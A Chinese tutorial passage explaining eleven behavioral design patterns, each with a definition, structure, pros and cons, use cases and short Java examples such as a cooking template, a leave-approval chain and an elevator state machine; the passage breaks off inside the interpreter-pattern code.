设计模式-行为型模式
文章目录
- 一、模板方法模式
- 二、策略模式
- 三、命令模式
- 四、责任链模式
- 五、状态模式
- 六、观察者模式
- 七、中介者模式
- 八、迭代器模式
- 九、访问者模式
- 十、备忘录模式
- 十一、解释器模式
一、模板方法模式
定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中,使得子类可以不改变该算法结构的情况下
重定义该算法的某些特定步骤结构:抽象类:负责给出一个算法的轮廓和骨架。由一个模板方法和若干个基本方法构成。模板方法:定义了算法的骨架,按某种顺序调用其包含的基本方法。基本方法:是实现算法各个步骤的方法,是模板方法的组成部分。基本方法又可以分为三种抽象方法:一个抽象方法由抽象类声明、由其具体子类实现具体方法:一个具体方法由一个抽象类或具体类声明并实现,其子类可以进行覆盖也可以直接 继承钩子方法:在抽象类中已经实现,包括用于判断的逻辑方法和需要子类重写的空方法两种具体子类:实现抽象类中所定义的抽象方法和钩子方法,他们是一个顶级逻辑的组成部分优点:1.提高代码复用性2.实现了反转控制缺点:1.对每个不同的实现都需要定义一个子类,这会导致类的个数增加,系统更加庞大,设计也更加抽象2.父类中的抽象方法由子类实现,子类执行的结果会影响父类的结果,提高了代码阅读的难度使用场景:1.算法的整体步骤很固定,但其中个别部分易变时2.需要通过子类来决定父类算法中某个步骤是否执行
/*** 抽象类 : 定义模板方法和基本方法*/
public abstract class AbstractCook {//模板方法 算法的执行流程,不允许子类重写public final void cook(){pourOil();heatOil();addFood();addSauce();fry();}public void pourOil(){System.out.println("倒油");}public void heatOil(){System.out.println("热油");}//加入原材料public abstract void addFood();//加入调料public abstract void addSauce();public void fry(){System.out.println("炒菜");}
}/*** 具体子类 回锅肉*/
public class TwiceCookedPork extends AbstractCook{@Overridepublic void addFood() {System.out.println("将提前煮好的肉放入锅里");}@Overridepublic void addSauce() {System.out.println("加入郫县豆瓣酱、葱、姜、蒜、辣椒末");}
}/*** 具体子类 辣子鸡丁*/
public class SpicyChicken extends AbstractCook{@Overridepublic void addFood() {System.out.println("加入鸡丁和辣椒");}@Overridepublic void addSauce() {System.out.println("加入大量辣椒和花椒");}
}public class Test {public static void main(String[] args) {//回锅肉AbstractCook cook1 = new TwiceCookedPork();cook1.cook();System.out.println("------------------------------------");//辣子鸡丁AbstractCook cook2 = new TwiceCookedPork();cook2.cook();}}
二、策略模式
该模式定义了一系列算法,并将每个算法封装起来,使他们可以相互替换,且算法的变化不会影响使用算法的客户。
策略模式属于对象行为模式,它通过对算法进行封装,把使用算法的责任和算法的实现分割开来,
并委派给不同的对象对这些算法进行管理结构:抽象策略类:通常由一个接口或抽象类实现,给出所有具体策略类所需要的接口具体策略类:实现了抽象策略定义的接口,提供具体的算法实现或行为环境类:持有一个策略类的引用,最终给客户端调用优点:1.策略类之间可以自由切换,因为它们都实现同一个接口2.易于扩展,增加一个新的策略只需要添加一个具体的策略类即可,符合开闭原则。充分体现了面向对象设计思想缺点:1.客户端必须知道所有的策略类,并自行决定使用哪一个策略类2.策略模式将造成很多策略类,可以通过享元模式在一定程度上减少对象的数量使用场景:1.一个系统需要动态的在几种算法中选择一种时,可将每个算法封装到策略类中2.一个类定义了多种行为,并且这些行为在这个类的操作中以多个条件语句的形式出现,可将每个条件分 移入它们各自的策略类中以代替这些条件语句3.系统中各算法彼此完全独立,且要求对客户隐藏具体算法的实现细节时4.多个类只区别在表现行为不同,可以使用策略模式,在运行时动态选择具体要执行的行为
/*** 抽象策略类*/
public interface Strategy {void show();}/*** 具体策略类 封装算法*/
public class StrategyA implements Strategy{@Overridepublic void show() {System.out.println("买一送一");}
}/*** 具体策略类 封装算法*/
public class StrategyB implements Strategy{@Overridepublic void show() {System.out.println("满两百减五十");}
}/*** 具体策略类 封装算法*/
public class StrategyC implements Strategy{@Overridepublic void show() {System.out.println("打五折");}
}/*** 环境类*/
public class SaleMan {private Strategy strategy;public SaleMan() {}public SaleMan(Strategy strategy) {this.strategy = strategy;}public Strategy getStrategy() {return strategy;}public void setStrategy(Strategy strategy) {this.strategy = strategy;}//展示促销活动public void salesManShow(){strategy.show();}
}public class Test {public static void main(String[] args) {SaleMan saleMan = new SaleMan();Strategy a = new StrategyA();//Strategy b = new StrategyB();//Strategy c = new StrategyC();saleMan.setStrategy(a);//saleMan.setStrategy(b);//saleMan.setStrategy(c);saleMan.salesManShow();}}
三、命令模式
将一个请求封装为一个对象,使发出请求的责任和执行请求的责任分割开。这样两者之间通过命令对象进行沟通,
这样方便将命令对象进行存储、传递、调用、增加与管理结构:抽象命令类角色:定义命令的接口,声明执行的方法具体命令角色:具体的命令,实现命令接口;通常会持有接收者,并调用接收者的功能来完成命令要执行的操作接收者角色:真正执行命令的对象。任何类都可能成为一个接收者,只要它能够实现命令要求实现的相应功能请求者角色:要求命令对象执行请求,通常会持有命令对象,可以持有很多的命令对象。这个是客户端真正触发 命令并要求命令执行相应操作的地方,也就是说相当于使用命令对象的入口优点:1.降低系统的耦合度。将调用操作的对象与实现操作的对象解耦2.增加或删除命令非常方便。不会影响其他类,满足开闭原则,对扩展比较灵活3.可以实现宏命令。命令模式可以和组合模式结合,将多个命令装配成为一个组合命令,即宏命令4.方便实现 undo 和 redo 操作缺点:1.使用命令模式可能会导致某些系统有过多的命令类2.系统结构更加复杂使用场景:1.系统需要将请求调用者和请求接收者解耦,使得调用者和接收者不直接交互2.系统需要在不同的时间指定请求、将请求排队和执行请求3.系统需要支持命令的撤销操作和恢复操作
/*** 抽象命令角色*/
public interface Command {void execute();}/*** 具体命令类*/
public class OrderCommand implements Command{//持有接收者对象private SeniorChef seniorChef;//持有订单对象private Order order;public OrderCommand(SeniorChef seniorChef, Order order) {this.seniorChef = seniorChef;this.order = order;}@Overridepublic void execute() {System.out.println(order.getDiningTable() + " 桌的订单 : ");Map<String, Integer> map = order.getMap();//遍历菜品集合for (String foodName : map.keySet()){seniorChef.makeFood(foodName,map.get(foodName));}System.out.println(order.getDiningTable() + " 桌的饭准备完毕");}
}/*** 订单类*/
public class Order {private int diningTable;private Map<String,Integer> map = new HashMap<>();public int getDiningTable() {return diningTable;}public void setDiningTable(int diningTable) {this.diningTable = diningTable;}public Map<String, Integer> getMap() {return map;}public void setFood(String name,int num) {map.put(name,num);}
}/*** 接收者角色 厨师*/
public class SeniorChef {public void makeFood(String name,int num){System.out.println(num + "份 : " + name);}}/*** 请求者角色 服务员*/
public class Waiter {//持有多个命令对象private List<Command> list = new ArrayList<>();public void setCommand(Command command){list.add(command);}//发起命令的功能public void orderUp(){System.out.println("新订单来了....");for (Command command : list){if (command != null){command.execute();}}}
}public class Test {public static void main(String[] args) {Order order1 = new Order();order1.setDiningTable(1);order1.setFood("辣子鸡丁",1);order1.setFood("米饭",2);order1.setFood("可口可乐",2);Order order2 = new Order();order2.setDiningTable(2);order2.setFood("烧烤",1);order2.setFood("烤饼",1);order2.setFood("果啤",2);SeniorChef seniorChef = new SeniorChef();OrderCommand command1 = new OrderCommand(seniorChef,order1);OrderCommand command2 = new OrderCommand(seniorChef,order2);Waiter waiter = new Waiter();waiter.setCommand(command1);waiter.setCommand(command2);//服务员发起命令waiter.orderUp();}}
四、责任链模式
为了避免请求发送者与多个请求处理者耦合在一起,将所有请求的处理者通过前一对象记住下一个对象的引用
而形成一条链;当有请求发生时,可将请求沿着这条链传递,直到有对象处理它为止结构:抽象处理者角色:定义一个处理请求的接口,包含抽象处理方法和一个后继连接具体处理者角色:实现抽象处理者角色的处理方法,判断能否处理本次请求,如果可以处理则处理请求,否则将该请求转给它的后继者客户类角色:创建处理链,并向链头的具体处理者对象提交请求,它不关心请求的处理细节和请求的传递过程优点:1.降低了对象之间的耦合度。降低了请求发送者和接收者的耦合度2.增强了系统的可扩展性3.增强了给对象指派职责的灵活性。当工作流程发生变化,可以动态的改变链内的成员或者修改他们的次序,也 可以动态地新增或者删除责任4.责任链简化了对象之间的连接。一个对象只需保持一个指向其后继者的引用,不需要保持其它处理者的引用5.责任分担。每个类只需要处理自己该处理的工作,不能处理的传递给下一个对象完成,明确各类的责任范围,符合类的单一职责原则缺点:1.不能保证每个请求一定被处理。由于一个请求没有明确的接收者,所以不能保证它一定会被处理,该请求可能一直传到链的末端都得不到处理2.对比较长的责任链,请求的处理可能涉及多个处理对象,系统性能将受到一定影响3.职责链建立的合理性要靠客户端来保证,增加了客户端的复杂性,可能会由于职责链的错误设置而导致系统出 错
//请假条类
public class LeaveRequest {private String name;private int num;private String content;public LeaveRequest(String name, int num, String content) {this.name = name;this.num = num;this.content = content;}public String getName() {return name;}public int getNum() {return num;}public String getContent() {return content;}
}/*** 抽象处理者*/
public abstract class Handler {public final static int NUM_ONE = 1;public final static int NUM_THREE = 3;public final static int NUM_SEVEN = 7;//可以处理的请求天数区间private int numStart;private int numEnd;//声明后继者private Handler nextHandler;public Handler(int numStart) {this.numStart = numStart;}public Handler(int numStart, int numEnd) {this.numStart = numStart;this.numEnd = numEnd;}//设置后继者public void setNextHandler(Handler nextHandler) {this.nextHandler = nextHandler;}//处理任务的方法public abstract void handler(LeaveRequest request);//提交任务public final void submit(LeaveRequest request){//当前类进行处理handler(request);if (nextHandler != null && request.getNum() > numEnd){//提交给后继者进行处理nextHandler.submit(request);} else {System.out.println("流程结束...");}}
}/*** 具体处理者角色*/
public class GroupLeader extends Handler{public GroupLeader(){super(0,Handler.NUM_ONE);}@Overridepublic void handler(LeaveRequest request) {System.out.println(request.getName() + "请假" + request.getNum() + "天," + request.getContent());System.out.println("小组长审批 : 通过");}
}/*** 具体处理者角色*/
public class Manager extends Handler{public Manager(){super(Handler.NUM_ONE,Handler.NUM_THREE);}@Overridepublic void handler(LeaveRequest request) {System.out.println(request.getName() + "请假" + request.getNum() + "天," + request.getContent());System.out.println("部门经理审批 : 通过");}
}/*** 具体处理者角色*/
public class GeneralManager extends Handler{public GeneralManager(){super(Handler.NUM_THREE,Handler.NUM_SEVEN);}@Overridepublic void handler(LeaveRequest request) {System.out.println(request.getName() + "请假" + request.getNum() + "天," + request.getContent());System.out.println("总经理审批 : 通过");}
}public class Test {public static void main(String[] args) {//创建请假条对象LeaveRequest request = new LeaveRequest("老王",2,"去做隔壁老王");//创建审批人对象Handler groupLeader = new GroupLeader();Handler manager = new Manager();Handler generalManager = new GeneralManager();//设置处理者链groupLeader.setNextHandler(manager);manager.setNextHandler(generalManager);//提交请假申请groupLeader.submit(request);}}
五、状态模式
对有状态的对象,把复杂的判断逻辑提取到不同的状态对象中,允许状态对象在其内部状态发生改变时改变其行为结构:环境角色:也称为上下文,它定义了客户程序需要的接口,维护一个当前状态,并将与状态相关的操作委托给当前状态对象来处理抽象状态角色:定义一个接口,用以封装环境对象中的特定状态所对应的行为具体状态角色:实现抽象状态所对应的行为优点:1.将所有与某个状态有关的行为放到一个类中,并且可以方便的增加新的状态,只需要改变对象状态即可改变对象的行为2.允许状态转换逻辑与状态对象合成一体,而不是某一个巨大的条件语句块缺点:1.状态模式的使用必然会增加系统和对象的个数2.状态模式的结构和实现都较为复杂,如果使用不当将导致程序结构和代码的混乱3.状态模式对开闭原则的支持并不太好使用场景:1.当一个对象的行为取决于它的状态,并且它必须在运行时根据状态改变它的行为时,就可以考虑使用状态模式2.一个操作中含有庞大的分支结构,并且这些分支取决于对象的状态时
/*** 抽象状态角色*/
public abstract class LiftState {public Context context;public void setContext(Context context) {this.context = context;}//开启public abstract void open();//关闭public abstract void close();//运行public abstract void run();//停止public abstract void stop();
}/*** 具体状态角色*/
public class OpeningState extends LiftState{//当前状态要执行的方法@Overridepublic void open() {System.out.println("电梯开启...");}@Overridepublic void close() {//修改状态context.setLiftState(Context.CLOSING_STATE);//调用当前状态中的context中的对应的close方法context.close();}@Overridepublic void run() {//什么都不做}@Overridepublic void stop() {//什么都不做}
}/*** 具体状态角色*/
public class StoppingState extends LiftState{@Overridepublic void open() {//修改状态context.setLiftState(Context.RUNNING_STATE);context.run();}@Overridepublic void close() {context.setLiftState(Context.CLOSING_STATE);context.close();}@Overridepublic void run() {//修改状态context.setLiftState(Context.RUNNING_STATE);context.run();}@Overridepublic void stop() {System.out.println("电梯停止了");}
}/*** 具体状态角色*/
public class RunningState extends LiftState{@Overridepublic void open() {//什么都不做}@Overridepublic void close() {//什么都不做}@Overridepublic void run() {System.out.println("电梯正在运行");}@Overridepublic void stop() {//修改状态context.setLiftState(Context.STOPPING_STATE);context.stop();}
}/*** 具体状态角色*/
public class ClosingState extends LiftState{@Overridepublic void open() {context.setLiftState(Context.OPENING_STATE);context.open();}@Overridepublic void close() {System.out.println("电梯门关闭了");}@Overridepublic void run() {context.setLiftState(Context.RUNNING_STATE);context.run();}@Overridepublic void stop() {context.setLiftState(Context.STOPPING_STATE);context.stop();}
}/*** 环境角色*/
public class Context {//定义对应状态对象的常量public final static OpeningState OPENING_STATE = new OpeningState();public final static ClosingState CLOSING_STATE = new ClosingState();public final static RunningState RUNNING_STATE = new RunningState();public final static StoppingState STOPPING_STATE = new StoppingState();//定义一个当前电梯状态变量private LiftState liftState;public LiftState getLiftState() {return liftState;}public void setLiftState(LiftState liftState) {this.liftState = liftState;//设置当前状态对象中的Context对象this.liftState.setContext(this);}public void open(){liftState.open();}public void close(){liftState.close();}public void run(){liftState.run();}public void stop(){liftState.stop();}
}public class Test {public static void main(String[] args) {//创建环境角色对象Context context = new Context();//设置当前电梯状态 - 运行context.setLiftState(Context.CLOSING_STATE);context.open();context.run();context.close();context.stop();}}
六、观察者模式
又被称为 发布-订阅 模式,它定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。
这个主题对象在状态变化时,会通知所有的观察者对象,使他们能够自动更新自己结构:Subject:抽象主题,抽象主题把所有观察者对象保存在一个集合里,每个主题都可以有任意数量的观察者,抽象主题提供一个接口,可以增加和删除观察者对象ConcreteSubject:具体主题,该角色将有关状态存入具体观察者对象,在具体主题的内部状态发生改变时,给所有注册过的观察者发送通知Observer:抽象观察者,是观察者的抽象类,它定义了一个更新接口,使得在得到主题更改通知时更新自己ConcrereObserver:具体观察者,实现抽象观察者定义的更新接口,以便在得到主题更改通知时更新自身的 状态优点:1.降低了目标与观察者之间的耦合关系,两者之间是抽象耦合关系2.被观察者发送通知,所有注册的观察者都会收到信息缺点:1.如果观察者非常多的话,那么所有观察者收到被观察者发送的通知会耗时2.如果被观察者有循环依赖的话,那么被观察者发送通知会使观察者循环调用,会导致系统崩溃使用场景:1.对象间存在一对多关系,一个对象的状态发生改变会影响其他对象2.当一个抽象模型有两个方面,其中一个方面依赖于另一方面
/*** 抽象主题角色*/
public interface Subject {//添加观察者对象void attach(Observer observer);//移除观察者对象void detach(Observer observer);//通知观察者更新消息void notify(String msg);
}/*** 具体主题角色类*/
public class ConcreteSubject implements Subject{//存储多个观察者对象private List<Observer> list = new ArrayList<>();@Overridepublic void attach(Observer observer) {list.add(observer);}@Overridepublic void detach(Observer observer) {list.remove(observer);}@Overridepublic void notify(String msg) {for (Observer cur : list){cur.update(msg);}}
}/*** 抽象观察者角色*/
public interface Observer {void update(String msg);}/*** 具体观察者角色类*/
public class WeiXinUser implements Observer{private String name;public WeiXinUser(String name) {this.name = name;}@Overridepublic void update(String msg) {System.out.println(name + "-" + msg);}
}public class Test {public static void main(String[] args) {Subject subject = new ConcreteSubject();subject.attach(new WeiXinUser("老王"));subject.attach(new WeiXinUser("大白"));subject.notify("来斗地主");}}
七、中介者模式
定义一个中介角色来封装一系列对象之间的交互,使原有对象之间的耦合松散,且可以独立地改变它们之间的交互结构:抽象中介者角色:中介者地接口,提供了同事对象注册与转发同事对象信息的抽象方法具体中介者角色:实现中介者接口,定义一个 list 来管理同事对象,协调各个同事角色之间的交互关系,因此它依赖于同事角色抽象同事类角色:定义同事类的接口,保存中介者对象,提供同事对象交互的抽象方法,实现所有相互影响的同事类的公共功能具体同事类角色:实现抽象同事类,当需要与其它同事对象交互时,由中介者对象负责后续的交互优点:1.松散耦合。中介者模式通过把多个同事之间的交互封装到中介者对象里面,从而使得同事对象之间松散耦合,基本上可以做到互补依赖。这样一来,同事对象就可以独立的变化和复用2.集中控制交互。多个同事对象的交互,被封装在中介者对象里面集中管理,使得这些交互行为发生变化的时 候,只需要修改中介者对象就可以了。3.一对多关联转变为一对一的关联。缺点:当同事类太多时,中介者的职责将很大,它会变得复杂而庞大,以至于系统难以维护使用场景:1.系统中对象之间存在复杂的引用关系,系统结构混乱且难以理解2.当想创建一个运行于多个类之间的对象,又不想生成新的子类时
/*** 抽象中介者角色*/
public abstract class Mediator {public abstract void construct(String msg,Person person);}/*** 具体中介者角色*/
public class MediatorStructure extends Mediator{private HouseOwner houseOwner;private Tenant tenant;public HouseOwner getHouseOwner() {return houseOwner;}public void setHouseOwner(HouseOwner houseOwner) {this.houseOwner = houseOwner;}public Tenant getTenant() {return tenant;}public void setTenant(Tenant tenant) {this.tenant = tenant;}@Overridepublic void construct(String msg, Person person) {if(person == houseOwner) {tenant.getMessage(msg);} else {houseOwner.getMessage(msg);}}
}/*** 抽象同事类角色*/
public abstract class Person {public String name;public Mediator mediator;public Person(String name, Mediator mediator) {this.name = name;this.mediator = mediator;}
}/*** 具体同事类角色*/
public class Tenant extends Person{public Tenant(String name, Mediator mediator) {super(name, mediator);}//和中介沟通public void construct(String msg){mediator.construct(msg,this);}//获取信息public void getMessage(String msg){System.out.println("租房者 : " + name + ",获取到的信息是 : " + msg);}
}/*** 具体同事类角色*/
public class HouseOwner extends Person {public HouseOwner(String name, Mediator mediator) {super(name, mediator);}//和中介沟通public void construct(String msg){mediator.construct(msg,this);}//获取信息public void getMessage(String msg){System.out.println("房主 : " + name + ",获取到的信息是 : " + msg);}
}public class Test {public static void main(String[] args) {//中介对象MediatorStructure mediator = new MediatorStructure();Tenant tenant = new Tenant("老王",mediator);HouseOwner houseOwner = new HouseOwner("绿帽子",mediator);mediator.setTenant(tenant);mediator.setHouseOwner(houseOwner);tenant.construct("我要租房子");houseOwner.construct("我给你租");}}
八、迭代器模式
提供给一个对象来顺序访问聚合对象中的一系列数据,而不是暴露对象内部的表示结构:抽象聚合角色:定义存储、添加、删除聚合元素以及创建迭代器对象的接口具体聚合角色:实现抽象聚合角色,返回一个具体的迭代器实例抽象迭代器角色:定义访问和遍历聚合元素的接口,具体迭代器:实现抽象迭代器接口中所定义的方法,完成对聚合对象的遍历,记录遍历的当前位置优点:1.它支持以不同的方式遍历一个聚合对象,在同一个聚合对象上可以定义多种遍历方式。在迭代器模式中只需要 用一个不同的迭代器来替换原有迭代器即可改变遍历算法,我们也可以自己定义迭代器的子类以支持新的遍历方式2.迭代器简化了聚合类。由于引入了迭代器,在原有的聚合对象中不需要再自行提供数据遍历等方法,这样可以简化聚合类的设计3.在迭代器模式中,由于引入了抽象层,增加新的聚合类和迭代器类都很方便,无须修改原有代码,满足开闭原则的要求缺点:增加了类的个数,这在一定程度上增加了系统的复杂性使用场景:1.当需要为聚合对象提供多种遍历方式时2.当需要为遍历不同的聚合结构提供一个统一的接口时3.当访问一个聚合对象的内容而无须暴露其内部细节的表示时
/*** 抽象迭代器角色*/
public interface StudentIterator {//判断是否还有元素boolean hashNext();//获取下一个元素Student next();}/*** 具体迭代器角色类*/
public class StudentIteratorImpl implements StudentIterator{private List<Student> list;private int position = 0;//记录遍历时的位置public StudentIteratorImpl(List<Student> list) {this.list = list;}@Overridepublic boolean hashNext() {return position < list.size();}@Overridepublic Student next() {Student student = list.get(position);position++;return student;}
}/*** 抽象聚合角色*/
public interface StudentAggregate {//添加学生void addStudent(Student student);//删除学生void deleteStudent(Student student);//获取迭代器对象StudentIterator getStudentIterator();}/*** 具体聚合角色*/
public class StudentAggregateImpl implements StudentAggregate{private List<Student> list = new ArrayList<>();@Overridepublic void addStudent(Student student) {list.add(student);}@Overridepublic void deleteStudent(Student student) {list.remove(student);}//获取迭代器对象@Overridepublic StudentIterator getStudentIterator() {return new StudentIteratorImpl(list);}
}public class Student {private String name;private int num;public Student() {}public Student(String name, int num) {this.name = name;this.num = num;}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getNum() {return num;}public void setNum(int num) {this.num = num;}@Overridepublic String toString() {return "Student{" +"name='" + name + '\'' +", num=" + num +'}';}
}public class Test {public static void main(String[] args) {//创建聚合对象StudentAggregate aggregate = new StudentAggregateImpl();aggregate.addStudent(new Student("张三",1));aggregate.addStudent(new Student("李四",2));aggregate.addStudent(new Student("王麻子",3));//获取迭代去对象StudentIterator iterator = aggregate.getStudentIterator();//遍历while (iterator.hashNext()){System.out.println(iterator.next());}}}
九、访问者模式
封装一些作用于某种数据结构中的各元素的操作,它可以在不改变这个数据结构的前提下定义作用于这些元素的新的操作结构:抽象访问者角色:定义了对每一个元素访问的行为,它的参数就是可以访问的元素,它的方法个数理论上来讲与元素类个数是一样的,访问者模式要求元素类的个数不能改变具体访问者角色:给出对每一个元素类访问时所产生的具体行为具体元素角色:定义了一个接受访问者的方法,每一个元素都可以被访问者访问具体元素角色:提供接受访问方法的具体实现,通常情况下是使用访问者提供的访问该元素类的方法对象结构角色:一个具有容器性质或者符合对象特性的类,它含有一组元素,并且可以迭代这些元素,供访问者 访问优点:1.扩展性好。在不修改对象结构中的元素的情况下,为对象结构中的元素添加新的功能2.复用性好。通过访问者来定义整个对象结构通用的功能,从而提高复用程度3.分离无关行为。通过访问者来分离无关的行为,把相关的行为封装在一起,构成一个访问者,这样每一个访问 者的功能都比较单一缺点:1.对象结构变化很困难。每增加一个新的元素类,都要在每一个具体访问者中增加相应的具体操作2.违反了依赖倒转原则。访问者模式依赖了具体类,而没有依赖抽象类使用场景:对象结构相对稳定,但其操作算法经常变化的程序
/*** 抽象元素角色*/
public interface Animal {//接受访问者访问的功能void accept(Person person);}/*** 具体元素角色*/
public class Dog implements Animal{@Overridepublic void accept(Person person) {person.feed(this);System.out.println("给狗喂食");}
}/*** 具体元素角色*/
public class Cat implements Animal{@Overridepublic void accept(Person person) {person.feed(this);System.out.println("给猫喂食");}
}/*** 抽象访问者角色*/
public interface Person {//喂狗void feed(Dog dog);//喂猫void feed(Cat cat);}/*** 具体访问者角色*/
public class Owner implements Person{@Overridepublic void feed(Dog dog) {System.out.print("主人 : ");}@Overridepublic void feed(Cat cat) {System.out.print("主人 : ");}
}/*** 具体访问者角色*/
public class Customer implements Person{@Overridepublic void feed(Dog dog) {System.out.println("客人 : ");}@Overridepublic void feed(Cat cat) {System.out.println("客人 : ");}
}/*** 对象结构角色*/
public class Home {private List<Animal> list = new ArrayList<>();//添加元素public void add(Animal animal){list.add(animal);}public void action(Person person){//遍历集合,获取每一个元素,让访问者访问每一个元素for (Animal animal : list) {animal.accept(person);}}}public class Test {public static void main(String[] args) {//创建home对象Home home = new Home();//添加元素home.add(new Dog());home.add(new Cat());Owner owner = new Owner();home.action(owner);}}
十、备忘录模式
又叫快照模式,在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,
以便以后需要时能将该对象恢复到原先保存的状态结构:发起人角色:记录当前时刻的内部状态信息,提供创建备忘录和恢复备忘录数据的功能,它可以访问备忘录里的 所有信息备忘录角色:负责存储发起人的内部状态,在需要的时候提供这些内部状态给发起人管理者角色:对备忘录进行管理,提供保存与获取备忘录的功能,但其不能对备忘录的内容进行访问与修改优点:1.提供了一种可以恢复状态的机制。当用户需要时能够比较方便的将数据恢复到某个历史状态2.实现了内部封装的状态。除了创建它的发起人之外,其他对象都不能够访问这些状态信息3.简化了发起人类。发起人不需要管理和保存其内部状态的各个备份,所有状态信息都保存在备忘录中,并由管理者进行管理,这符合单一职责原则缺点:资源消耗大使用场景:1.需要保存与恢复数据的场景2.需要提供一个可回滚操作的场景
//白箱备忘录
/*** 发起人角色*/
public class GameRole {private int vit;//生命力private int atk;//攻击力private int def;//防御力//初始化内部状态public void initState() {vit = 100;atk = 100;def = 100;}//战斗public void fight(){vit = 0;atk = 0;def = 0;}//保存角色状态功能public RoleStateMemento saveState() {return new RoleStateMemento(vit,atk,def);}//恢复角色状态public void recoverState (RoleStateMemento roleStateMemento){this.vit = roleStateMemento.getVit();this.atk = roleStateMemento.getAtk();this.def = roleStateMemento.getDef();}//展示状态public void stateDisplay(){System.out.println("生命力 : " + vit);System.out.println("攻击力 : " + atk);System.out.println("防御力 : " + def);}public int getVit() {return vit;}public void setVit(int vit) {this.vit = vit;}public int getAtk() {return atk;}public void setAtk(int atk) {this.atk = atk;}public int getDef() {return def;}public void setDef(int def) {this.def = def;}
}/*** 备忘录角色类*/
public class RoleStateMemento {private int vit;//生命力private int atk;//攻击力private int def;//防御力public RoleStateMemento() {}public RoleStateMemento(int vit, int atk, int def) {this.vit = vit;this.atk = atk;this.def = def;}public int getVit() {return vit;}public void setVit(int vit) {this.vit = vit;}public int getAtk() {return atk;}public void setAtk(int atk) {this.atk = atk;}public int getDef() {return def;}public void setDef(int def) {this.def = def;}
}/*** 管理者角色*/
public class RoleStateCaretaker {private RoleStateMemento roleStateMemento;public RoleStateMemento getRoleStateMemento() {return roleStateMemento;}public void setRoleStateMemento(RoleStateMemento roleStateMemento) {this.roleStateMemento = roleStateMemento;}
}public class Test {public static void main(String[] args) {System.out.println("--------------战斗前----------------");GameRole gameRole = new GameRole();gameRole.initState();//初始化状态gameRole.stateDisplay();//备份内部状态RoleStateCaretaker roleStateCaretaker = new RoleStateCaretaker();//管理者角色roleStateCaretaker.setRoleStateMemento(gameRole.saveState());//战斗gameRole.fight();System.out.println("--------------战斗后----------------");gameRole.stateDisplay();System.out.println("-------------恢复状态---------------");gameRole.recoverState(roleStateCaretaker.getRoleStateMemento());gameRole.stateDisplay();}}//黑箱备忘录
/*** 备忘录接口,对外提供窄接口*/
public interface Memento {}/*** 发起人角色*/
public class GameRole {private int vit;//生命力private int atk;//攻击力private int def;//防御力//初始化内部状态public void initState() {vit = 100;atk = 100;def = 100;}//战斗public void fight(){vit = 0;atk = 0;def = 0;}//保存角色状态功能public Memento saveState() {return new RoleStateMemento(vit,atk,def);}//恢复角色状态public void recoverState (Memento memento){RoleStateMemento roleStateMemento = (RoleStateMemento) memento;this.vit = roleStateMemento.getVit();this.atk = roleStateMemento.getAtk();this.def = roleStateMemento.getDef();}//展示状态public void stateDisplay(){System.out.println("生命力 : " + vit);System.out.println("攻击力 : " + atk);System.out.println("防御力 : " + def);}public int getVit() {return vit;}public void setVit(int vit) {this.vit = vit;}public int getAtk() {return atk;}public void setAtk(int atk) {this.atk = atk;}public int getDef() {return def;}public void setDef(int def) {this.def = def;}private class RoleStateMemento implements Memento {private int vit;//生命力private int atk;//攻击力private int def;//防御力public RoleStateMemento() {}public RoleStateMemento(int vit, int atk, int def) {this.vit = vit;this.atk = atk;this.def = def;}public int getVit() {return vit;}public void setVit(int vit) {this.vit = vit;}public int getAtk() {return atk;}public void setAtk(int atk) {this.atk = atk;}public int getDef() {return def;}public void setDef(int def) {this.def = def;}}
}/*** 管理者角色*/
public class RoleStateCaretaker {private Memento memento;public Memento getMemento() {return memento;}public void setMemento(Memento memento) {this.memento = memento;}
}public class Test {public static void main(String[] args) {System.out.println("--------------战斗前----------------");GameRole gameRole = new GameRole();gameRole.initState();//初始化状态gameRole.stateDisplay();//备份内部状态RoleStateCaretaker roleStateCaretaker = new RoleStateCaretaker();//管理者角色roleStateCaretaker.setMemento(gameRole.saveState());//战斗gameRole.fight();System.out.println("--------------战斗后----------------");gameRole.stateDisplay();System.out.println("-------------恢复状态---------------");gameRole.recoverState(roleStateCaretaker.getMemento());gameRole.stateDisplay();}}
十一、解释器模式
给定一个语言,定义它的文法表示,并定义一个解释器,这个解释器使用该表示来解释语言中的句子结构:抽象表达式角色:定义解释器的接口,约定解释器的解释操作,主要包含解释方法 interpret()终结符表达式角色:是抽象表达式的子类,用来实现文法中与终结符相关的操作,文法中的每一个终结符都有一个具体终结表达式与之相对应非终结符表达式角色:用来实现文法中与非终结符相关的操作,文法中的每条规则都对应于一个非终结符表达式环境角色:通常包含各个解释器需要的数据或是功能,一般用来传递被所有解释器共享的数据,后边的解释器可以从这里获取这些值客户端:主要任务是将需要分析的句子或表达式转换成使用解释器对象描述的抽象语法树,然后调用解释器的解 释方法,也可以通过环境角色间接访问解释器的解释方法优点:1.易于改变和扩展文法。由于在解释器模式中使用类来表示语言的文法规则,因此可以通过继承等机制来改变扩展文法。每一条文法规则都可以表示为一个类,因此可以方便的实现一个简单的语言2.改变文法较为容易。在抽象语法树中每一个表达式节点类的实现都是相似的,这些类的代码编写都不会特别复杂3.增加新的解释表达式较为方便。如果用户需要增加新的解释表达式只需要增加一个新的终结符表达式或非终结符表达式类,原有表达式类代码无需修改,符合开闭原则缺点:1.对于复杂文法难以维护。在解释器模式中,每一条规则至少需要定义一个类,因此如果一个语言包含太多文法规则,类的个数将会急剧增加,导致系统难以管理和维护2.执行效率低。由于在解释器模式中使用了大量的循环和递归调用,因此在解释较为复杂的句子时其速度很慢,而且代码的调试过程也比较麻烦使用场景:1.当语言文法较为简单,且执行效率不是关键问题时2.当问题重复出现,且可以用一种简单的语言来进行表达时3.当一个语言需要解释执行,并且语言中的句子可以表示为一个抽象语法树时
/*** 抽象表达式角色*/
public abstract class AbstractExpression {public abstract int interpret(Context context);}/*** 封装变量的类 终结符表达式角色*/
public class Variable extends AbstractExpression{//声明存储变量名的成员变量private String name;public Variable(String name) {this.name = name;}@Overridepublic int interpret(Context context) {//直接返回变量的值return context.getValue(this);}@Overridepublic String toString() {return name;}
}/*** 加法表达式类 非终结符表达式角色*/
public class Plus extends AbstractExpression{// + 左边的表达式private AbstractExpression left;// + 右边的表达式private AbstractExpression right;public Plus(AbstractExpression left, AbstractExpression right) {this.left = left;this.right = right;}@Overridepublic int interpret(Context context) {return left.interpret(context) + right.interpret(context);}@Overridepublic String toString() {return "(" + left.toString() + " + " + right.toString() + ")";}
